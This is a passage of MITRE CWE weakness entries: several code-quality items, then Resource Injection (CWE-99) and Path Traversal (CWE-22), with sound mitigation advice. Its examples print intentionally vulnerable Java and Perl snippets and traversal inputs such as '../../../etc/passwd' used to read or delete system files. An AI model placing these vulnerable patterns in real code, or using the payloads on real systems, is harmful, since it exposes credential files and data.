[REF-964] Wikipedia. "Cyclomatic Complexity". 2018-04-13. <https://en.wikipedia.org/wiki/Cyclomatic_complexity>.
[REF-960] Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". ASCMM-MNT-11. 2016-01. <http://www.omg.org/spec/ASCMM/1.0>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses

Weakness ID: 1060
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software performs too many data queries without using efficient data processing functionality such as stored procedures.
+ Extended Description

This issue can make the software perform more slowly due to computational expense. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpetation of "too many data queries" may vary for each product or developer, CISQ recommends a default maximum of 5 data queries for an inefficient function/procedure.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1120Excessive Code Complexity
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1120Excessive Code Complexity
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Performance

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1132CISQ Quality Measures - Performance
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCPEMASCPEM-PRF-9
+ References
[REF-959] Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". ASCPEM-PRF-9. 2016-01. <http://www.omg.org/spec/ASCPEM/1.0>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1050: Excessive Platform Resource Consumption within a Loop

Weakness ID: 1050
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software has a loop body or loop condition that contains a control element that directly or indirectly consumes platform resources, e.g. messaging, sessions, locks, or file descriptors.
+ Extended Description

This issue can make the software perform more slowly. If an attacker can influence the number of iterations in the loop, then this performance problem might allow a denial of service by consuming more platform resources than intended.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.405Asymmetric Resource Consumption (Amplification)
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.405Asymmetric Resource Consumption (Amplification)
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Performance

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1132CISQ Quality Measures - Performance
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCPEMASCPEM-PRF-8
+ References
[REF-959] Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". ASCPEM-PRF-8. 2016-01. <http://www.omg.org/spec/ASCPEM/1.0>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1052: Excessive Use of Hard-Coded Literals in Initialization

Weakness ID: 1052
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software initializes a data element using a hard-coded literal that is not a simple integer or static constant element.
+ Extended Description

This issue makes it more difficult to modify or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.665Improper Initialization
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.452Initialization and Cleanup Errors
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1078Inappropriate Source Code Style or Formatting
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Maintainability

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1130CISQ Quality Measures - Maintainability
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCMMASCMM-MNT-3
+ References
[REF-960] Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". ASCMM-MNT-3. 2016-01. <http://www.omg.org/spec/ASCMM/1.0>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1077: Floating Point Comparison with Incorrect Operator

Weakness ID: 1077
Abstraction: Variant
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The code performs a comparison such as an equality test between two float (floating point) values, but it uses comparison operators that do not account for the possibility of loss of precision.
+ Extended Description

Numeric calculation using floating point values can generate imprecise results because of rounding errors. As a result, two different calculations might generate numbers that are mathematically equal, but have slightly different bit representations that do not translate to the same mathematically-equal values. As a result, an equality test or other comparison might produce unexpected results.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.697Incorrect Comparison
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.189Numeric Errors
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Reliability

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures - Reliability
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCRMASCRM-RLB-9
+ References
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-RLB-9. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
[REF-975] Bruce Dawson. "Comparing Floating Point Numbers, 2012 Edition". 2012-02-25. <https://randomascii.wordpress.com/2012/02/25/comparing-floating-point-numbers-2012-edition/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-99: Improper Control of Resource Identifiers ('Resource Injection')

Weakness ID: 99
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.
+ Extended Description

A resource injection issue occurs when the following two conditions are met:

  1. An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.
  2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server.

This may enable an attacker to access or modify otherwise protected system resources.

+ Alternate Terms
Insecure Direct Object Reference:
OWASP uses this term, although it is effectively the same as resource injection.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.641Improper Restriction of Names for Files and Other Resources
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.694Use of Multiple Resources with Duplicate Identifier
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.914Improper Control of Dynamically-Identified Variables
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.706Use of Incorrectly-Resolved Name or Reference
CanAlsoBeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.73External Control of File Name or Path
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.694Use of Multiple Resources with Duplicate Identifier
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.641Improper Restriction of Names for Files and Other Resources
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.694Use of Multiple Resources with Duplicate Identifier
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.914Improper Control of Dynamically-Identified Variables
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data; Read Files or Directories; Modify Files or Directories

An attacker could gain access to or modify sensitive data or system resources. This could allow access to protected files or directories including configuration files and files containing sensitive information.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files.

(bad code)
Example Language: Java 
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();

Example 2

The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system.

(bad code)
Example Language: C++ 
ifstream ifs(argv[0]);
string s;
ifs >> s;
cout << s;

The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections.

+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.813OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.932OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.10057PK - Input Validation and Representation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures - Security
+ Notes

Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

Relationship

Resource injection that involves resources stored on the filesystem goes by the name path manipulation (CWE-73).

Other

A resource injection issue occurs when the following two conditions are met:

  1. An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.
  2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server.

Note: Resource injection that involves resources stored on the filesystem goes by the name path manipulation and is reported in a separate category. See the path manipulation description for further details of this vulnerability.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsResource Injection
Software Fault PatternsSFP24Tainted input to command
OMG ASCSMASCSM-CWE-99
+ References
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-99. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
7 Pernicious Kingdoms
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-05-27CWE Content TeamMITRE
updated Description, Name
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated White_Box_Definitions
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Alternate_Terms, Maintenance_Notes, Other_Notes, Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Alternate_Terms, Description, Relationship_Notes, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Resource Injection
2009-05-27Insufficient Control of Resource Identifiers (aka 'Resource Injection')

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Weakness ID: 22
Abstraction: Class
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
+ Extended Description

Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the software may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

+ Alternate Terms
Directory traversal
Path traversal:
"Path traversal" is preferred over "directory traversal," but both terms are attack-focused.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.668Exposure of Resource to Wrong Sphere
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.706Use of Incorrectly-Resolved Name or Reference
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.23Relative Path Traversal
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.36Absolute Path Traversal
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.20Improper Input Validation
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.73External Control of File Name or Path
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.172Encoding Error
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.21Pathname Traversal and Equivalence Errors
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.23Relative Path Traversal
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.36Absolute Path Traversal
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.
Integrity

Technical Impact: Modify Files or Directories

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.
Confidentiality

Technical Impact: Read Files or Directories

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

(bad code)
Example Language: Perl 
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;

open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
print "<li>$_</li>\n";
}
print "</ul>\n";

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

(attack code)
 
../../../etc/passwd

The program would generate a profile pathname like this:

(result)
 
/users/cwe/profiles/../../../etc/passwd

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

(result)
 
/etc/passwd

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 2

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

(bad code)
Example Language: Java 
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 3

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

(bad code)
Example Language: Perl 
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

(attack code)
 
../../../etc/passwd

will have the first "../" stripped, resulting in:

(result)
 
../../etc/passwd

This value is then concatenated with the /home/user/ directory:

(result)
 
/home/user/../../etc/passwd

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

Example 4

The following code attempts to validate a given input path by checking it against a whitelist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

(bad code)
Example Language: Java 
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
File f = new File(path);
f.delete()
}

An attacker could provide an input such as this:

(attack code)
 
/safe_dir/../important.dat

The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory

Example 5

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the action attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

(good code)
Example Language: HTML 
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">

Choose a file to upload:

<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

(bad code)
Example Language: Java 
public class FileUploadServlet extends HttpServlet {

...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);

String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value

// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {

// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...

// output the file to the local upload directory
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();
} catch (IOException ex) {...}

// output successful upload response HTML page

}
// output unsuccessful upload response HTML page
else
{...}
}

...
}

This code does not check the filename that is provided in the header, so an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Also, this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code (CWE-434).

+ Observed Examples
ReferenceDescription
Newsletter module allows reading arbitrary files using "../" sequences.
FTP server allows deletion of arbitrary files using ".." in the DELE command.
FTP server allows creation of arbitrary directories using ".." in the MKD command.
OBEX FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using ".." sequences.
Software package maintenance program allows overwriting arbitrary files using "../" sequences.
Bulletin board allows attackers to determine the existence of files using the avatar.
PHP program allows arbitrary code execution using ".." in filenames that are fed to the include() function.
Overwrite of files using a .. in a Torrent file.
